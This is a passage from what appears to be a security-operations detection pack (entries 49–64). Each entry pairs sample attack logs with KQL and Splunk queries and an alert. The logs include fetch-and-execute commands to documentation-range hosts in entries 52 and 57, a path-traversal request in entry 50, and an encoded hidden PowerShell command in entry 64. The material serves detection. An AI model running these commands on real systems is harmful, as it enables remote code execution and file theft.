  "RunAsUser": "SYSTEM",  
  "Author": "mohd.jazli@clientorg.com",  
  "Device": "ENG-WS-21"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName endswith ".exe" and FolderPath has "\\\Users\\\\Public"  
| where ProcessCommandLine has "schtasks" or InitiatingProcessFileName ==  
"schtasks.exe"  
| join kind=inner (  
  WindowsEvent  
  | where EventID == 106 and ScheduledTaskName contains "Update"  
) on DeviceName
```

## SPLUNK

```
index=sysmon OR index=task_logs  
| search FileName="*.exe" AND FolderPath="*\Users\Public*" AND  
ParentImage="*schtasks.exe"  
| stats count by User, FileName, Device, ScheduledTaskName, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Scheduled Task Points to Ransomware Loader

Severity: Critical

Description: Task UpdateCheckService created by mohd.jazli@clientorg.com on ENG-WS-21 runs an executable from C:\Users\Public\. Pattern matches ransomware dropper placement.

Recommended Action:

- Isolate endpoint and disable the task
- Submit binary for sandbox analysis
- Begin ransomware response playbook (backup validation, IOC scanning)
- Review insider access rights and logs across shared folders

## **DETECTION PACK ENTRY 49**

**USE CASE: CLOUD WORKLOAD ABUSE VIA OVER-PERMISSIONED SERVICE ROLE**

**TACTIC: PRIVILEGE ESCALATION / EXECUTION**

**TECHNIQUE: T1078.004 - CLOUD ACCOUNTS**

**ENVIRONMENT: AWS CLOUDTRAIL / GCP IAM LOGS / AZURE ACTIVITY**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: AWS CloudTrail

```
{  
  "Timestamp": "2025-07-08T03:11:52Z",  
  "Actor": "ec2-instance-role-dev-003",  
  "Operation": "iam:AttachUserPolicy",  
  "TargetUser": "external.contractor@clientorg.com",  
  "Policy": "AdministratorAccess",  
  "SourceIP": "172.16.45.9",  
  "Environment": "us-west-2"  
}
```

Data Source: IAM Role Trust Policy

```
{  
  "RoleName": "ec2-instance-role-dev-003",  
  "TrustedEntity": "ec2.amazonaws.com",  
  "AttachedPolicies": ["AmazonEC2FullAccess", "iam:*"]  
}
```

### **DETECTION QUERY**

KQL (via AWS logs in Sentinel)

```
AWSCloudTrail  
| where EventName == "AttachUserPolicy" and PolicyName == "AdministratorAccess"  
| where UserIdentity.arn contains "instance-role"  
| project Timestamp, UserIdentity.arn, EventName, TargetUser, SourceIPAddress
```

### **SPLUNK**

```
index=cloudtrail  
| search EventName="AttachUserPolicy" Policy="AdministratorAccess"  
| search Actor="*instance-role*"
```

```
| stats count by Actor, TargetUser, SourceIP, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Over-Permissioned Instance Role Abused for Privilege Escalation

Severity: Critical

Description: The EC2 instance role ec2-instance-role-dev-003 was used to grant AdministratorAccess to external.contractor@clientorg.com. Indicates abuse of over-permissioned workloads.

Recommended Action:

- Detach the role and revoke granted policies
- Implement least privilege for all instance roles
- Investigate logs for command execution by target user
- Enforce tagging and boundary policies for service roles

## **DETECTION PACK ENTRY 50**

**USE CASE: EXPLOIT CHAIN VIA VULNERABLE INTERNAL HR API**

**TACTIC: INITIAL ACCESS / EXECUTION**

**TECHNIQUE: T1190 - EXPLOIT PUBLIC-FACING APPLICATION**

**ENVIRONMENT: API GATEWAY + WEB SERVER LOGS + WAF**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Web Server Access Logs

```
{  
  "Timestamp": "2025-07-08T04:23:44Z",  
  "Path": "/api/v1/hr/profile",  
  "Method": "GET",  
  "Query": "id=../../etc/passwd",  
  "UserAgent": "Mozilla/5.0 (exploit-scanner)",  
  "SourceIP": "82.113.21.91",  
  "Status": "200 OK",  
  "ResponseSize": "3134 bytes"  
}
```

Data Source: WAF Logs

```
{  
  "RuleSet": "PathTraversalProtection",  
  "Evaluation": "Bypassed",  
  "AnomalyScore": "Low",  
  "Allowed": true  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
WebServerLogs  
| where Url has "api/v1/hr/profile" and QueryString contains "../../"  
| join kind=leftanti (  
    WAFLogs  
    | where DetectionStatus == "Blocked"  
) on ClientIP  
| project Timestamp, ClientIP, Path, QueryString, ResponseSize
```

SPLUNK

```
index=web_logs OR index=waf_logs  
| search Query="*../../../*"  
| search NOT DetectionStatus="Blocked"  
| stats count by SourceIP, Path, Query, Status, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Path Traversal Exploit on Internal HR API

Severity: High

Description: API endpoint /api/v1/hr/profile was exploited using ../../.. traversal from IP 82.113.21.91, successfully reading sensitive server files.

Recommended Action:

- Patch the vulnerable endpoint and sanitise inputs
- Apply WAF custom rule to cover evasive payloads
- Rotate credentials if /etc/passwd access exposed SSH
- Hunt for deeper payloads or lateral movement attempts

## **DETECTION PACK ENTRY 51**

**USE CASE: VPN LOGIN VIA TOR EXIT NODE + MFA FATIGUE ATTACK**

**TACTIC: INITIAL ACCESS / CREDENTIAL ACCESS**

**TECHNIQUE: T1110.003 - MFA REQUEST GENERATION**

**ENVIRONMENT: VPN LOGS + IDENTITY LOGS + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: VPN Authentication Logs

```
{  
  "Timestamp": "2025-07-08T06:10:30Z",  
  "User": "rayyan.nasir@clientorg.com",  
  "SourceIP": "185.220.101.43",  
  "ClientApp": "GlobalProtect",  
  "AuthResult": "Interrupted (MFA denied)",  
  "AttemptsIn5Min": 17  
}
```

Data Source: Threat Intelligence Feed

```
{  
  "IP": "185.220.101.43",  
  "Reputation": "Known Tor Exit Node",  
  "Type": "Anonymised Attack Infrastructure"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

SigninLogs

```
| where ResultType == 500121 or FailureReason has "User declined"  
| where IPAddress in~ ("185.220.101.43", "other_tor_ips")  
| summarize Attempts = count() by bin(Timestamp, 5m), UserPrincipalName, IPAddress  
| where Attempts > 10
```

SPLUNK

```
index=vpn_logs OR index=azure_signinlogs  
| search IP="185.220.101.43" FailureReason="User declined"  
| bucket_time span=5m  
| stats count as MFA_Fails by User, IP, _time
```

| where MFA\_Fails > 10

## **ALERT OUTPUT EXAMPLE**

Alert Name: MFA Fatigue Attack via Tor Exit Node

Severity: High

Description: rayyan.nasir@clientorg.com received 17 MFA prompts in 5 minutes from a Tor IP (185.220.101.43). Suggests attempt to trigger accidental approval.

Recommended Action:

- Enforce number matching / phishing-resistant MFA
- Lock account temporarily and notify user
- Add Tor exit nodes to geo-block or VPN denylist
- Alert SOC for potential credential compromise

## **DETECTION PACK ENTRY 52**

**USE CASE: SUSPICIOUS AZURE AUTOMATION RUNBOOK MODIFICATION**

**TACTIC: PERSISTENCE / EXECUTION**

**TECHNIQUE: T1053.006 - SCHEDULED TASK/JOB: CLOUD TASK**

**ENVIRONMENT: AZURE ACTIVITY LOGS + AUTOMATION LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Azure Activity Log

```
{  
  "Timestamp": "2025-07-08T08:42:00Z",  
  "User": "nonprod.devops@clientorg.com",  
  "Operation": "Update Runbook",  
  "RunbookName": "DailyMaintenance",  
  "OldScriptHash": "a88c5d...",  
  "NewScriptHash": "f3e19a...",  
  "Trigger": "Scheduled (midnight)",  
  "Location": "Southeast Asia"  
}
```

Data Source: Automation Job Execution Logs

```
{  
  "RunbookName": "DailyMaintenance",  
  "Command": "Invoke-WebRequest -Uri http://203.0.113.5/dropper.ps1 | iex",  
  "ExecutionContext": "SYSTEM",  
  "Output": "Command executed successfully",  
  "JobStatus": "Completed"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
AzureActivity  
| where OperationName == "Update Runbook"  
| join kind=inner (  
  AzureDiagnostics  
  | where ResourceType == "AUTOMATION"  
  and Message has "Invoke-WebRequest"  
) on CorrelationId  
| project TimeGenerated, User, RunbookName, Message, ResourceGroup
```

## SPLUNK

```
index=azure_logs OR index=automation_logs
| search RunbookName="DailyMaintenance" Message="*Invoke-WebRequest*"
| join RunbookName [
    search index=azure_activity OperationName="Update Runbook"
]
| stats count by User, RunbookName, Command, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Azure Runbook Modified for Malicious Script Execution

Severity: High

Description: The runbook DailyMaintenance was modified by nonprod.devops@clientorg.com to run a remote PowerShell payload hosted on 203.0.113.5.

Recommended Action:

- Revert runbook to last known good version
- Block malicious IP in network policies
- Review all runbooks for similar abuse
- Notify cloud team and revoke unnecessary contributor access

## **DETECTION PACK ENTRY 53**

**USE CASE: ABNORMAL CLOUD STORAGE PERMISSION ESCALATION**

**TACTIC: PRIVILEGE ESCALATION / COLLECTION**

**TECHNIQUE: T1087.006 - CLOUD STORAGE ENUMERATION AND ABUSE**

**ENVIRONMENT: GCP IAM LOGS / AZURE STORAGE LOGS / AWS S3 LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GCP IAM Audit Logs

```
{  
  "Timestamp": "2025-07-08T10:09:16Z",  
  "User": "analytics@clientorg.com",  
  "Bucket": "client-financial-records",  
  "Action": "storage.setIamPermissions",  
  "PermissionsAdded": ["allUsers:READER"],  
  "PreviousState": "private",  
  "Region": "asia-southeast1"  
}
```

Data Source: Access Logs

```
{  
  "AccessedBy": "198.51.100.42",  
  "File": "q4_budgets.xlsx",  
  "AccessMethod": "Public URL",  
  "Result": "200 OK",  
  "Size": "840KB"  
}
```

### **DETECTION QUERY**

KQL (Sentinel - GCP connector via CEF)

```
GCPAuditLogs  
| where Action == "storage.setIamPermissions" and PermissionsAdded has "allUsers"  
| join kind=inner (  
  GCPAccessLogs  
  | where AccessMethod == "Public URL"  
) on Bucket  
| project Timestamp, User, Bucket, File, IP
```

SPLUNK

```
index=gcp_audit OR index=gcp_storage
| search Action="storage.setIamPermissions" PermissionsAdded="*allUsers*"
| join Bucket [
    search index=gcp_storage AccessMethod="Public URL"
]
| stats count by User, Bucket, File, IP, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Sensitive Cloud Storage Bucket Made Public

Severity: High

Description: User analytics@clientorg.com changed IAM permissions on client-financial-records to public. q4\_budgets.xlsx was later accessed by IP 198.51.100.42.

Recommended Action:

- Immediately revert bucket permissions to private
- Revoke public file links
- Audit logs for other public objects
- Educate staff on secure storage access best practices

## **DETECTION PACK ENTRY 54**

**USE CASE: CREDENTIAL HARVESTING VIA FAKE OFFICE 365 LOGIN PAGE**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1566.002 - SPEARPHISHING VIA SERVICE**

**ENVIRONMENT: DEFENDER FOR O365 + PROXY LOGS + THREAT INTEL**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Email Gateway Log

```
{  
  "Timestamp": "2025-07-08T11:22:44Z",  
  "Subject": "Payroll Access - Q2 Update",  
  "Sender": "it-support@secure-client.org",  
  "Attachment": "View_Payroll.htm",  
  "DeliveredTo": "nurul.amira@clientorg.com"  
}
```

Data Source: Proxy Logs

```
{  
  "URL": "http://secure-client-payroll.com/owa/login.html",  
  "User": "nurul.amira@clientorg.com",  
  "UserAgent": "Mozilla/5.0",  
  "InputFields": ["username", "password"],  
  "Result": "200 OK"  
}
```

Data Source: Threat Intel Lookup

```
{  
  "Domain": "secure-client-payroll.com",  
  "Classification": "Credential Phishing",  
  "FirstSeen": "2025-07-05",  
  "Related Campaign": "Fake Office 365 Portal - Southeast Asia"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Defender for O365 + Proxy)

EmailEvents

```
| where Subject has "Payroll Access" and SenderDomain != "clientorg.com"
```

```
| join kind=inner (
  ProxyLogs
  | where Url has "login" and Url contains "office" or "365"
  and Url matches regex @".*(login|signin).*(html|php)"
) on RecipientEmail
```

## SPLUNK

```
index=email_logs OR index=proxy_logs OR index=threatintel
| search Subject="*Payroll*" AND URL="*login*" AND Domain="secure-client-payroll.com"
| stats count by User, URL, Domain, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Credential Harvesting via Fake Office 365 Login Page

Severity: High

Description: A phishing email impersonating payroll services led nurul.amira@clientorg.com to enter credentials into a fake login portal hosted on secure-client-payroll.com.

Recommended Action:

- Reset user's password and revoke sessions
- Block malicious domain at proxy/email gateway
- Report URL to threat intel vendors
- Initiate phishing awareness campaign

## **DETECTION PACK ENTRY 55**

**USE CASE: SHADOW IT – UNAUTHORISED SAAS USAGE DETECTED**

**TACTIC: INITIAL ACCESS / DATA EXFILTRATION**

**TECHNIQUE: T1537 - TRANSFER DATA TO CLOUD ACCOUNT**

**ENVIRONMENT: PROXY LOGS + CASB + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Proxy Logs

```
{  
  "Timestamp": "2025-07-08T13:41:30Z",  
  "User": "siti.rosmah@clientorg.com",  
  "Device": "FIN-WS-06",  
  "Application": "WeTransfer",  
  "Destination": "https://wetransfer.com/upload",  
  "UploadedFile": "salary_2025.xlsx",  
  "Size": "923 KB"  
}
```

Data Source: CASB Alert

```
{  
  "User": "siti.rosmah@clientorg.com",  
  "AnomalyType": "Unapproved Cloud Service Upload",  
  "RiskScore": 8.5,  
  "Action": "File Transfer Detected",  
  "Service": "WeTransfer"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – CASB + Proxy)

```
ProxyLogs  
| where Url contains "wetransfer.com/upload"  
| join kind=inner (  
  CASBLogs  
  | where AnomalyType has "Unapproved"  
) on AccountName  
| project Timestamp, AccountName, Url, UploadedFile, RiskScore
```

SPLUNK

```
index=proxy_logs OR index=casb
| search URL="*wetransfer.com/upload*"
| join User [
    search index=casb AnomalyType="Unapproved Cloud Service Upload"
]
| stats count by User, UploadedFile, RiskScore, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Shadow IT Detected – File Uploaded to WeTransfer

Severity: Medium-High

Description: siti.rosmah@clientorg.com uploaded salary\_2025.xlsx to WeTransfer, a cloud service not approved by the organisation. CASB flagged it as unsanctioned.

Recommended Action:

- Notify data loss prevention (DLP) and compliance teams
- Educate user on proper data sharing channels
- Restrict access to unsanctioned SaaS via proxy/CASB
- Log and trend Shadow IT behaviour over time

## **DETECTION PACK ENTRY 56**

**USE CASE: CREDENTIAL STUFFING FROM PUBLIC COMBO LIST**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1110.004 - CREDENTIAL STUFFING**

**ENVIRONMENT: IDENTITY PROVIDER LOGS + SIEM + THREAT INTEL**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Identity Provider Log

```
{  
  "Timestamp": "2025-07-08T14:13:09Z",  
  "User": "hadi.khairul@clientorg.com",  
  "IP": "138.201.133.44",  
  "LoginMethod": "Web",  
  "Status": "Failed",  
  "Attempts": 38 in 10 minutes  
}
```

Data Source: Threat Intel Feed

```
{  
  "IP": "138.201.133.44",  
  "Classification": "Credential Stuffing Host",  
  "RelatedCampaign": "StormForge_ComboList_2025"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Sign-in logs + Threat Intel)

```
SigninLogs  
| where ResultType == "50126" or ResultType == "50076"  
| summarize Attempts = count() by IPAddress, UserPrincipalName, bin(Timestamp, 10m)  
| where Attempts > 20  
| join kind=inner (  
  ThreatIntelligenceIndicator  
  | where NetworkIP == IPAddress  
) on IPAddress
```

### **SPLUNK**

index=signin\_logs OR index=threatintel

```
| search IP="138.201.133.44" ResultType="50126"  
| stats count as AttemptCount by User, IP, _time  
| where AttemptCount > 20
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Credential Stuffing Attack from Known Threat Actor

Severity: High

Description: Multiple failed login attempts for hadi.khairul@clientorg.com detected from IP 138.201.133.44, tied to a public combo list and StormForge campaign.

Recommended Action:

- Block IP at firewall and reverse proxy
- Initiate password reset and session revocation
- Monitor successful logins for lateral movement
- Enable CAPTCHA and rate limiting on login endpoints

## **DETECTION PACK ENTRY 57**

**USE CASE: MALICIOUS GITHUB ACTIONS WORKFLOW INJECTION**

**TACTIC: PERSISTENCE / EXECUTION**

**TECHNIQUE: T1059.006 - COMMAND AND SCRIPTING: CI/CD INJECTION**

**ENVIRONMENT: GITHUB LOGS + DEFENDER FOR DEVOPS + CODE**

**SCANNING**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GitHub Actions Logs

```
{  
  "Timestamp": "2025-07-08T15:09:42Z",  
  "Repo": "clientorg/analytics-ml",  
  "Actor": "rajdev23",  
  "Workflow": "deploy.yml",  
  "AddedStep": "run: curl http://198.51.100.5/payload.sh | bash",  
  "Trigger": "Push to main"  
}
```

Data Source: Defender for DevOps

```
{  
  "Rule": "Workflow step uses untrusted external script",  
  "Repo": "analytics-ml",  
  "File": "deploy.yml",  
  "Severity": "High",  
  "Status": "New"  
}
```

## **DETECTION QUERY**

KQL (GitHub connector in Sentinel)

```
DevOpsAuditLogs  
| where FilePath endswith ".yml" and ChangedLines has "curl" and ChangedLines has  
"bash"  
| join kind=inner (  
  DevOpsSecurityAlerts  
  | where Rule has "untrusted external script"  
) on Repo  
| project Timestamp, Repo, Actor, FilePath, ChangedLines
```

## SPLUNK

```
index=github_logs OR index=devops_alerts
| search File="*deploy.yml*" AND Command="*curl*" AND Command="*bash*"
| join Repo [
    search index=devops_alerts Rule="*untrusted*"
]
| stats count by Actor, Repo, File, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Malicious GitHub Actions Workflow Script Injection

Severity: High

Description: User rajdev23 added a curl | bash payload to the deploy.yml file in clientorg/analytics-ml repo. The workflow fetch and execute external shell code on every push.

Recommended Action:

- Revert the malicious commit and lock repo
- Audit other workflows for similar entries
- Disable GitHub Actions temporarily if needed
- Investigate user account access history

## **DETECTION PACK ENTRY 58**

**USE CASE: BUSINESS EMAIL COMPROMISE – MALICIOUS MAILBOX RULE AND DELEGATE ACCESS**

**TACTIC: PERSISTENCE / COLLECTION**

**TECHNIQUE: T1098.002 + T1114.003 – EXCHANGE DELEGATE PERMISSIONS + EMAIL COLLECTION VIA RULES**

**ENVIRONMENT: MICROSOFT 365 AUDIT LOGS + DEFENDER FOR O365**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Microsoft 365 Audit Logs

```
{  
  "Timestamp": "2025-07-08T16:22:15Z",  
  "User": "junaid.yusof@clientorg.com",  
  "Action": "New-InboxRule",  
  "RuleName": "Archive-Invoices",  
  "Conditions": "Subject contains 'Invoice'",  
  "ActionTaken": "Move to Archive",  
  "ClientIP": "178.62.43.80"  
}
```

Data Source: Exchange Online Logs

```
{  
  "Timestamp": "2025-07-08T16:25:12Z",  
  "DelegateAdded": "zuhair.rahim@clientorg.com",  
  "MailboxOwner": "junaid.yusof@clientorg.com",  
  "AccessType": "FullAccess",  
  "ClientIP": "178.62.43.80"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Unified Audit Logs)

OfficeActivity

```
| where Operation == "New-InboxRule" or Operation == "Add-MailboxPermission"  
| where ClientIP != "<expected corporate ranges>"  
| project TimeGenerated, UserId, Operation, ClientIP, Parameters
```

SPLUNK

```
index=m365_audit
| search Operation="New-InboxRule" OR Operation="Add-MailboxPermission"
| search ClientIP!="10.0.*" AND ClientIP!="192.168.*"
| stats count by User, Operation, RuleName, ClientIP, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: BEC Pattern – Mail Rule + Mailbox Delegate Abuse

Severity: High

Description: junaid.yusof@clientorg.com created a suspicious rule for invoices and granted FullAccess to zuhair.rahim@clientorg.com from an external IP. Indicates possible Business Email Compromise.

Recommended Action:

- Revoke delegate access and delete malicious inbox rules
- Conduct password reset and session revocation
- Notify affected employees and legal/compliance teams
- Enable external access geofencing and alerting

## **DETECTION PACK ENTRY 59**

**USE CASE: EXPLOIT CHAIN VIA MISCONFIGURED REVERSE PROXY**

**TACTIC: INITIAL ACCESS / DEFENSE EVASION**

**TECHNIQUE: T1190 + T1550.004 – REVERSE PROXY ABUSE + SSO TOKEN**

**REPLAY**

**ENVIRONMENT: WEB SERVER LOGS + NGINX CONFIG + AZURE SSO LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Web Access Log (NGINX)

```
{  
  "Timestamp": "2025-07-08T17:04:20Z",  
  "SourceIP": "185.220.100.45",  
  "Host": "intranet.clientorg.com",  
  "Path": "/auth/callback?token=eyJ0eXAiOi...",  
  "ForwardedHeaders": "X-Original-Host",  
  "StatusCode": 200  
}
```

Data Source: Azure Sign-in Log

```
{  
  "User": "anonymous",  
  "Application": "intranet",  
  "Result": "Success",  
  "Location": "Russia",  
  "TokenUsed": "Replay of existing SSO token",  
  "Timestamp": "2025-07-08T17:04:23Z"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Azure Sign-in + Web Logs)

SigninLogs

```
| where Location contains "Russia" and ResultType == 0  
| join kind=inner (  
    WebServerLogs  
    | where Url contains "/auth/callback"  
    and Url has "token="  
) on IPAddress  
| project Timestamp, IPAddress, Url, UserPrincipalName
```

## SPLUNK

```
index=azure_signinlogs OR index=web_logs  
| search URL="/auth/callback*" AND Token="*"  
| stats count by IP, URL, User, _time  
| where IP!="expected region" AND User="anonymous"
```

## ALERT OUTPUT EXAMPLE

Alert Name: Token Replay via Misconfigured Reverse Proxy

Severity: High

Description: An SSO token was replayed via a vulnerable reverse proxy path /auth/callback. Logins were successful from 185.220.100.45 without identity validation.

Recommended Action:

- Patch reverse proxy and strip SSO headers
- Invalidate tokens and rotate SSO keys
- Monitor for similar callback URL access
- Enforce token binding (PKCE or OAuth constraints)

## **DETECTION PACK ENTRY 60**

**USE CASE: EXFILTRATION USING GOOGLE DRIVE CLI (GDRIVE) FROM COMPROMISED HOST**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1567.002 - EXFILTRATION TO CLOUD STORAGE**

**ENVIRONMENT: EDR + PROXY LOGS + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon + EDR Logs

```
{  
  "Timestamp": "2025-07-08T17:58:50Z",  
  "Process": "gdrive.exe",  
  "CommandLine": "gdrive.exe upload C:\\Sensitive\\\\client_contracts.zip",  
  "ParentProcess": "cmd.exe",  
  "User": "natrah.aziz@clientorg.com",  
  "Device": "SALES-WS-04"  
}
```

Data Source: Proxy Logs

```
{  
  "URL": "https://www.googleapis.com/upload/drive/v3/files",  
  "UploadedFile": "client_contracts.zip",  
  "Size": "5.3 MB",  
  "ResponseCode": 200  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – EDR + Proxy)

```
DeviceProcessEvents  
| where FileName == "gdrive.exe" or ProcessCommandLine contains "gdrive"  
| join kind=inner (  
    ProxyLogs  
    | where Url contains "googleapis.com/upload"  
) on DeviceName  
| project Timestamp, AccountName, FileName, Url, UploadedFile
```

SPLUNK

```
index=sysmon OR index=proxy_logs  
| search Process="gdrive.exe" AND URL="*googleapis.com/upload*"  
| stats count by User, File, Device, URL, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Data Exfiltration via Google Drive CLI

Severity: High

Description: natrah.aziz@clientorg.com used gdrive.exe to upload sensitive data to Google Drive from SALES-WS-04. Transfer was successful and not blocked by DLP.

Recommended Action:

- Isolate the endpoint and inspect for persistence mechanisms
- Audit cloud accounts tied to upload tokens
- Block CLI tools via application control policy
- Notify DLP/compliance teams and initiate breach review

## **DETECTION PACK ENTRY 61**

**USE CASE: SUSPICIOUS WEBHOOK CREATION IN GITHUB REPOSITORY**

**TACTIC: COMMAND AND CONTROL**

**TECHNIQUE: T1102.002 - WEB SERVICE: GITHUB WEBHOOK ABUSE**

**ENVIRONMENT: GITHUB LOGS + DEFENDER FOR DEVOPS + THREAT INTEL**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GitHub Audit Log

```
{  
  "Timestamp": "2025-07-08T18:35:02Z",  
  "Actor": "muhd.akil",  
  "Repo": "clientorg/finance-tools",  
  "Action": "webhook.create",  
  "WebhookURL": "http://185.199.108.153/listener",  
  "IP": "185.199.108.153"  
}
```

Data Source: Defender for DevOps Alert

```
{  
  "AlertName": "Unusual Webhook Target URL",  
  "Severity": "High",  
  "URL": "185.199.108.153",  
  "Repo": "finance-tools",  
  "TriggeredBy": "muhd.akil"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – GitHub connector)

```
DevOpsAuditLogs  
| where ActionName == "webhook.create"  
| where WebhookURL contains "http"  
| where WebhookURL !contains "github.com"  
| project Timestamp, Actor, Repo, WebhookURL
```

### **SPLUNK**

```
index=github_logs OR index=devops_alerts  
| search Action="webhook.create" WebhookURL="*"
```

```
| search NOT WebhookURL="*github.com*"  
| stats count by Actor, Repo, WebhookURL, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Suspicious GitHub Webhook Creation

Severity: High

Description: User muhd.akil created a webhook in the finance-tools repository that points to external server 185.199.108.153. This may be an exfiltration channel.

Recommended Action:

- Revoke webhook and review GitHub actions permissions
- Notify repository owner and audit all recent PRs
- Check for secrets exposure in commits
- Alert SOC to monitor external traffic to the IP

## **DETECTION PACK ENTRY 62**

**USE CASE: MALWARE EMBEDDED IN INTERNAL CONTAINER IMAGE**

**TACTIC: DEFENSE EVASION / EXECUTION**

**TECHNIQUE: T1204.003 – USER EXECUTION: MALICIOUS IMAGE**

**ENVIRONMENT: CONTAINER REGISTRY LOGS + CI/CD PIPELINE LOGS + DEFENDER FOR CONTAINERS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Container Scan

```
{  
  "Timestamp": "2025-07-08T19:11:00Z",  
  "Image": "registry.clientorg.com/analytics/base:latest",  
  "Component": "payload.sh",  
  "DetectedMalware": "Backdoor.Linux.Agent",  
  "Severity": "Critical",  
  "Scanner": "Defender for Containers"  
}
```

Data Source: CI/CD Pipeline Logs

```
{  
  "BuildID": "job-2045",  
  "TriggeredBy": "devops.lee",  
  "Repo": "analytics-core",  
  "Dockerfile": "COPY payload.sh /usr/bin/",  
  "Status": "Completed"  
}
```

### **DETECTION QUERY**

KQL (Defender for Containers + DevOps logs)

```
ContainerVulnerabilityAssessment  
| where Image contains "analytics/base" and MalwareFamily has "Backdoor"  
| join kind=inner (  
  DevOpsPipelineLogs  
  | where Dockerfile contains "payload.sh"  
) on Image  
| project Timestamp, Image, MalwareFamily, Repo, Actor
```

SPLUNK

```
index=container_scans OR index=devops_logs  
| search Image="*analytics/base*" Malware="*Backdoor*"  
| join Image [  
    search index=devops_logs Dockerfile="*payload.sh*"  
]  
| stats count by Image, Actor, Repo, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Malware Discovered in Internal Container Image

Severity: Critical

Description: Image analytics/base:latest built by devops.lee contained a known Linux backdoor (Backdoor.Linux.Agent). Delivery was made via Dockerfile COPY.

Recommended Action:

- Pull container from registry and quarantine affected pods
- Block developer access until internal review
- Review CI/CD secrets for tampering
- Notify engineering, DevSecOps and legal teams

## **DETECTION PACK ENTRY 63**

**USE CASE: MFA TAMPERING VIA SIM SWAP ATTACK INDICATOR**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1110.001 + T1556.004 – SIM SWAP + MFA ABUSE**

**ENVIRONMENT: MOBILE AUTH LOGS + IDENTITY PROVIDER + TELCO**

**OSINT**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Identity Provider Logs

```
{  
  "Timestamp": "2025-07-08T20:04:39Z",  
  "User": "syarifah.lina@clientorg.com",  
  "MFAType": "SMS OTP",  
  "FailureReason": "Phone number unreachable",  
  "MFAStatus": "Failed",  
  "Attempts": 5  
}
```

Data Source: Telco Threat Feed (OSINT Integration)

```
{  
  "PhoneNumber": "+60123456789",  
  "Status": "Recently Ported",  
  "PortDate": "2025-07-08",  
  "Flags": ["SIM Swap Suspected"]  
}
```

## **DETECTION QUERY**

KQL (Sentinel – MFA logs + OSINT feed)

SigninLogs

```
| where AuthenticationRequirement == "MFA" and ResultType == "500121"  
| where MFAStatus == "Failed" and FailureReason contains "unreachable"  
| join kind=inner (  
  SimSwapFeed  
  | where PhoneStatus == "Recently Ported"  
) on UserPrincipalName
```

SPLUNK

```
index=signin_logs OR index=osint_telco
| search MFAType="SMS OTP" AND FailureReason="unreachable"
| join PhoneNumber[
  search index=osint_telco Status="Recently Ported" Flags="SIM Swap Suspected"
]
| stats count by User, PhoneNumber, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: SIM Swap Indicator Detected – MFA Unreachable

Severity: High

Description: Multiple failed SMS MFA attempts for syarifah.lina@clientorg.com. Phone was recently ported and flagged for potential SIM swap abuse.

Recommended Action:

- Lock account and switch to phishing-resistant MFA (e.g., FIDO2)
- Notify user and telco fraud investigation team
- Disable SMS MFA across sensitive accounts
- Track access attempts from unusual IPs and device profiles

## **DETECTION PACK ENTRY 64**

**USE CASE: OFF-HOURS POWERSHELL EXECUTION ON HIGH-VALUE HOST**

**TACTIC: EXECUTION**

**TECHNIQUE: T1059.001 - POWERSHELL**

**ENVIRONMENT: SYSMON + EDR + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Logs

```
{  
    "Timestamp": "2025-07-09T02:13:33Z",  
    "User": "nazmi.hakim@clientorg.com",  
    "Device": "CFO-LAPTOP-01",  
    "ParentProcess": "explorer.exe",  
    "Process": "powershell.exe",  
    "CommandLine": "powershell.exe -nop -w hidden -enc UwB...",  
    "ExecutionContext": "User",  
    "Location": "Office – not expected after 10 PM"  
}
```

Data Source: UEBA Alert

```
{  
    "User": "nazmi.hakim@clientorg.com",  
    "Anomaly": "PowerShell execution during off-hours",  
    "RiskScore": 9.2,  
    "Device": "CFO-LAPTOP-01"  
}
```

### **DETECTION QUERY**

